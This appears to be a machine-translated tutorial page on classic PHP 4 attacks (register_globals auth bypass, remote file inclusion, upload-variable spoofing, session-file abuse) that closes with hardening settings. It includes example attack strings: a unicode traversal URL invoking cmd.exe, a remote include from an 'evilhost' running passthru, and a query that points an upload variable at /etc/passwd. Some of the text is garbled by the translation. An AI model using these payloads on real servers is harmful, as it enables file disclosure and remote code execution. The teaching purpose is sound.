Common PHP vulnerability attack analysis, php vulnerability attack _ PHP Tutorial

Analysis of common PHP vulnerability attacks and php vulnerability attacks. Analysis of common PHP vulnerability attacks and summary of php vulnerability attacks: the PHP program is not fixed. with the widespread use of PHP, some hackers do not want to bother with PHP, analysis of common PHP vulnerability attacks and PHP vulnerability attacks by using php programs

Summary: PHP programs are not solid. with the widespread use of PHP, some hackers do not want to bother with PHP, and attacks by using PHP program vulnerabilities are one of them. In this section, we will analyze the security of PHP in terms of global variables, remote files, file uploads, library files, Session files, data types, and error-prone functions.

How to use global variables for attacks?

Variables in PHP do not need to be declared in advance. they are automatically created during the first use and their types are automatically determined according to the context. From the programmer's point of view, this is undoubtedly an extremely convenient processing method. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers seldom initialize variables.

Obviously, the main functions of PHP-based applications generally accept user input (mainly form variables, upload files and cookies), and then process the input data, then return the result to the client browser. To make PHP code as easy as possible to access user input, PHP treats the input data as a global variable.

For example:

Program code

＜ FORM METHOD = "GET" ACTION = "test.php" ＞
＜ INPUT TYPE = "TEXT" NAME = "hello" ＞
＜ INPUT TYPE = "SUBMIT" ＞
</ Form>
This will display a text box and submit button. When the user clicks the submit button, "test.php" will process the user's input. When "test.php" is run, "$ hello" will contain the data entered by the user in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If the attacker does not call "test.php" through form input, but enters http: //server/test.php? Hello = hi & setup = no directly into the browser address bar, then more than "$ hello" is created "$ Setup" was also created.

The following user authentication code exposes security issues caused by PHP's global variables:

code

＜? Php
if ($ pass == "hello")
$ auth = 1;
...
if ($ auth == 1)
echo "some important information";
? ＞
The above code first checks whether the user's password is "hello". If it matches, set "$ auth" to "1", that is, pass the authentication. After that, if "$ suth" is "1", some important information will be displayed.

This code assumes that "$ auth" is empty when no value is set, but the attacker can create any global variable and assign a value. Through a method similar to "http: //server/test.php? Auth = 1", we You can deceive this code and make it believe that we are authenticated.

Therefore, to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. If there are many variables in the program, this is a very difficult task.

A common protection method is to check the variables in the array HTTP_GET [] or POST_VARS [], which depends on our submission method (GET or POST). When PHP is configured to turn on the "track_vars" option (this is the default value), user-submitted variables are available in global variables and the arrays mentioned above.

But it is worth noting that PHP has four different array variables for handling user input. The HTTP_GET_VARS array is used to handle variables submitted in GET mode. The HTTP_POST_VARS array is used to handle variables submitted in POST mode. The HTTP_COOKIE_VARS array is used to handle variables submitted as cookie headers. For the HTTP_POST_FILES array (only available in newer PHP), it is completely An optional way for users to submit variables. A user's request can easily store variables in these four arrays, so a secure PHP program should check these four arrays. How to attack through remote files?

PHP is a language with rich features, providing a large number of functions, making it easy for programmers to implement specific functions. But from a security perspective, the more features there are, the harder it is to ensure its security, and remote files prove a good example of this problem:

code

＜? Php
if (! ($ fd = fopen ("$ filename", "r"))
echo ("Could not open file: $ filename
\ n ");
? ＞
The above script attempts to open the file "$ filename" and displays an error message if it fails. Obviously, if we can specify "$ filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other web or FTP site. In fact, most PHP file processing functions are transparent to the processing of remote files.

E.g:

If "$ filename" is specified as "http: //target/scripts/..%c1%1c../winnt/system32/cmd.exe? / C + dir"

The above code actually uses the unicode vulnerability on the host target to execute the dir command. This makes supporting include (), require (), include_once (), and require_once () for remote files more interesting in context. The main function of these functions is to include the contents of the specified file, and interpret them according to PHP code, mainly used in library files.

E.g:

code

＜? Php
include ($ libdir. "/languages.php");
? ＞
In the above example, "$ libdir" is generally a path that has been set before executing the code. If the attacker can make "$ libdir" not set, then he can change this path. But the attackers can't do anything because they can only access the file languages.php in the path they specify (the "Poisonnull byte" attack in perl has no effect on PHP). But with support for remote files, attackers can do anything. For example, an attacker could put a file languages.php on a server, which contains the following:

code

＜? Php
passthru ("/ bin / ls / etc");
? ＞
Then set "$ libdir" to "http: // <evilhost ＞ /", so we can execute the above attack code on the target host, and the contents of the "/ etc" directory will be returned to the client's browser as a result .

It should be noted that the attack code will not execute its own PHP program on the server where it is located (that is, evilhost); otherwise, the attack code will attack the server where it is located instead of executing on the target server.

How to attack via file upload?

PHP automatically supports file upload based on RFC 1867. Let's look at the following example:

code

＜ FORM METHOD = "POST" ENCTYPE = "multipart / form-data" ＞
＜ INPUT TYPE = "FILE" NAME = "hello" ＞
<INPUT TYPE = "HIDDEN" NAME = "MAX_FILE_SIZE" VALUE = "10240" ＞
＜ INPUT TYPE = "SUBMIT" ＞
</ Form>
The above code allows the user to select a file from the local machine, and after clicking submit, the file will be uploaded to the server. This is obviously a very useful feature, but PHP's responsiveness will make this feature insecure. When PHP receives this request for the first time, even before it starts to parse the called PHP code, it will first accept the file of the remote user and check if the file length exceeds the value defined by "$ MAX_FILE_SIZE variable". For testing, the file will be stored in a local temporary directory.
Therefore, an attacker can send arbitrary files to the host running PHP, and the files have already been stored on the server before the PHP program has decided whether to accept the file upload.

Let's consider a PHP program that handles file uploads. As we said above, the files are received and stored on the server (the location is specified in the configuration file, usually / tmp), and the extension is generally random, similar to " "phpxXuoXG". PHP programs need to upload file information in order to process it. This can be done in two ways, one is already used in PHP3, and the other is introduced after we made a security bulletin on the previous method.

Most PHP programs still use the old way to handle uploaded files. PHP sets four global variables to describe uploaded files, such as the above example:

code

$ hello = Filename on local machine (e.g "/ tmp / phpxXuoXG")
$ hello_size = Size in bytes of file (e.g 1024)
$ hello_name = The original name of the file on the remote system (e.g "c: \\ temp \\ hello.txt")
$ hello_type = Mime type of uploaded file (e.g "text / plain")
Then, the PHP program starts processing the file specified under "$ hello". The problem is that "$ hello" is not necessarily a PHP-set variable, and any remote user can specify it. If we use the following:

http: //vulnhost/vuln.php? hello = / ... e = 10240 & hello_type =
text / plain & hello_name = hello.txt
This leads to the following PHP global variables (of course POST can also be used (even cookies)):

code

$ hello = "/ etc / passwd"
$ hello_size = 10240
$ hello_type = "text / plain"
$ hello_name = "hello.txt"
The above form data just meets the variables expected by the PHP program, but then the PHP program no longer processes the upload file that should be on the uploader's local machine, but instead processes "/ etc / passwd" on the server (usually causing content (Exposed) files. This attack can be used to expose the contents of any sensitive file.

The new version of PHP uses HTTP_POST_FILES [] to decide to upload files. It also provides many functions to solve this problem. For example, there is a function to determine whether a file is actually a file. But in fact there must be many PHP programs that still use the old method, so they are also vulnerable to this attack.

As a variant of the file upload attack method, let's take a look at the following piece of code:

＜? Php
if (file_exists ($ theme)) // Checks the file exists on the local system (noremote files)
include ("$ theme");
? ＞
If an attacker can control "$ theme", it is clear that it can use "$ theme" to read any file on the remote system. The ultimate goal of the attacker is to execute arbitrary instructions on the remote server, but he cannot use remote files, so he must create a PHP file on the remote server. This may seem impossible at first, but file uploading helps us. If an attacker first creates a file containing PHP code on the local machine, then creates a form with a file domain named "theme" Finally, use this form to submit the file containing the PHP code to the above code through file upload. PHP will save the file submitted by the attacker and set the value of "$ theme" to the file submitted by the attacker. The file_exists () function will then pass and the attacker's code will be executed.
After gaining the ability to execute arbitrary instructions, the attacker obviously wanted to elevate permissions or expand the results, which in turn required some toolsets not available on the server, and file uploads helped the attacker again. Attackers can use the file upload function to upload tools, store them on the server, then use their ability to execute instructions, use chmod () to change the permissions of the files, and then execute. For example, an attacker can bypass a firewall or IDS to upload a local root attacker and execute it, thus gaining root privileges.

How do I attack through a library file?

As we discussed earlier, include () and require () are mainly to support the code base, because we generally put some frequently used functions into a separate file, this independent file is the code base, when you need to use For the functions, we just need to include this code base into the current file.

Initially, when people developed and published PHP programs, in order to distinguish the code base from the main program code, it was common to set a ".inc" extension for the code base file, but they soon discovered that this was a mistake because of such files It cannot be parsed into PHP code correctly by the PHP interpreter. If we directly request such a file on the server, we will get the source code of the file. This is because when using PHP as an Apache module, the PHP interpreter decides whether to parse it as PHP based on the file extension Code. The extensions are specified by the site administrator, typically ".php", ".php3", and ".php4". If important configuration data is contained in a PHP file without the appropriate extension, then this information can easily be obtained by a remote attacker.

The easiest solution is to assign a PHP file extension to each file. This can prevent the problem of leaking the source code, but new problems arise. By requesting this file, an attacker may The code that runs in the context runs independently, which can lead to all the attacks discussed earlier.

Here is an obvious example:

In main.php:

＜? Php
$ libDir = "/ libdir";
$ langDir = "$ libdir / languages";
...
include ("$ libdir / loadlanguage.php":
? ＞
In libdir / loadlanguage.php:
＜? Php 

...
include ("$ langDir / $ userLang");
? ＞
It is quite safe when "libdir / loadlanguage.php" is called by "main.php", but because "libdir / loadlanguage" has the extension ".php", remote attackers can directly request this file, and they can Specify the values of "$ langDir" and "$ userLang".

How to attack through Session files?

PHP 4 or later provides support for sessions. Its main function is to save page-to-page state information in PHP programs. For example, when a user logs in to the website, the fact that he is logged in and the relevant information about who logged in to the website will be stored in the session. When he browses around the website, all PHP code can obtain these states. information.

In fact, when a session is started (actually set in the configuration file to start automatically on the first request), a random "session id" will be generated if the remote browser always submits when sending a request With this "session id", the session will always be maintained. This is easily achieved through cookies, or by submitting a form variable (including "session id") on each page. A PHP program can use session to register a special variable, and its value will be stored in the session file after each PHP script ends, and it will be loaded into the variable before the start of each PHP script. Here is a simple example:

＜? Php
session_destroy (); // Kill any data currently in the session
$ session_auth = "shaun";
session_register ("session_auth"); // Register $ session_auth as a session variable
? ＞
The new version of PHP will automatically set the value of "$ session_auth" to "shaun". If they are modified, future scripts will automatically accept the modified value. This is really good for stateless Web. Tools, but we should also be careful.

An obvious problem is to ensure that the variables do come from the session. For example, given the above code, if the subsequent script is like this:

＜? Php
if (! empty ($ session_auth))
// Grant access to site here
? ＞
The above code assumes that if "$ session_auth" is assigned, it is assigned from the session, not from user input. If an attacker assigns a value via form input, he can gain access to the site. Note that the attacker must use this attack method before the session registers the variable. Once the variable is put into the session, it will overwrite any form input.

Session data is generally stored in a file (the location is configurable, usually "/ tmp"). The file name is generally in the form of "sess_ <session id ＞". This file contains the variable name, variable type, variable value, Some other data. In a multi-host system, because the file is saved as the user running the web server (usually nobody), a malicious site owner can gain access to other sites by creating a session file, and can even check the session file Sensitive information in.

The Session mechanism also provides another convenience for attackers to save their input in files on remote systems. For the above example, the attacker needs to place a file containing PHP code on the remote system. If he cannot use file upload, he usually uses session to assign a value to a variable according to his wishes, and then guesses the session file. Location, and he knows the file name is "php <session id>", so he only needs to guess the directory, which is usually "/ tmp".

In addition, the attacker can arbitrarily specify the "session id" (such as "hello") and then use this "session id" to create a session file (such as "/ tmp / sess_hello"), but the "session id" can only be letters and numbers combination.

How to attack by data type?

PHP has relatively loose data types, and the types of variables depend on the context in which they are located. For example: "$ hello" starts with a string variable and the value is "", but when it is evaluated, it becomes the integer variable "0", which may sometimes lead to some unexpected results. If the value of "$ hello" is "000" or "0" is different, the result returned by empty () will not be true either.

Arrays in PHP are associative arrays, that is, the index of the array is a string. This means that "$ hello [" 000 "]" and "$ hello [0]" are also different.

When developing a program, you should carefully consider the above issues. For example, we should not test whether a variable is "0" in one place and use empty () to verify it in another place.

How to attack with error-prone functions? Here is a more detailed list of error-prone functions:

<PHP code execution>

require (): read the contents of the specified file and interpret it as PHP code
include (): same as above
eval (): execute the given string as PHP code
preg_replace (): When used with the "/ e" switch, the replacement string will be interpreted as PHP code

＜ Command execution ＞

exec (): executes the specified command and returns the last line of the execution result
passthru (): execute the specified command, return all results to the client browser
``: Execute the specified command, return all results to an array
system (): Same as passthru (), but does not process binary data
popen (): executes the specified command, connecting input or output to the PHP file descriptor

<File leak>

fopen (): Open the file, corresponding to a PHP file descriptor
readfile (): reads the contents of a file and outputs it to the client's browser
file (): Read the entire file contents into an array
How to enhance the security of PHP?

All the attacks we introduced above can be well implemented for the default PHP4 installation, but the configuration of PHP is very flexible. By configuring some PHP options, we can completely resist some of them. Below we have classified some configurations according to the difficulty of implementation:

* Low difficulty
** Medium to low difficulty
*** Medium to High Difficulty
**** High difficulty

If you use all the options provided by PHP, then your PHP will be very secure, even by third-party code, because many of these features are no longer available.

**** Set "register_globals" to "off"
This option will prevent PHP from creating global variables for user input. That is, if the user submits the form variable "hello", PHP will not create "$ hello", but only "HTTP_GET / POST_VARS ['' hello '']" . This is an extremely important option in PHP. Turning off this option will cause great inconvenience to programming.

*** Set "safe_mode" to "on"

Turning on this option will increase the following restrictions:

1. Limit which command can be executed
2. Limit which functions can be used
3． File access restrictions based on script ownership and target file ownership
4． Disable file upload function

This is a "great" option for ISPs and it can also greatly improve PHP security.

** Set "open_basedir"

This option can prohibit file operations outside the specified directory, effectively eliminating local files or remote files being included () attacks, but still need to pay attention to file upload and session file attacks.

** Set "display_errors" to "off" and "log_errors" to "on"

This option prohibits displaying error information on the webpage, but records it in a log file, which can effectively prevent attackers from detecting functions in the target script.

* Set "allow_url_fopen" to "off"

This option can disable the remote file function.

The above is an analysis of common PHP vulnerability attacks introduced by Xiaobian. I hope it will be helpful to everyone!

Articles you may be interested in:
Exploitation and repair of arbitrary code execution vulnerability in ThinkPHP framework
PHP5 series of Apache remote execution vulnerability attack script
Sample sql injection vulnerability in php
PHP vulnerability cross-site request forgery and prevention methods
Full solution to PHP vulnerabilities (detailed introduction)
Better PHP anti-injection vulnerability filtering function code
How PHP Code Websites Prevent SQL Injection Vulnerabilities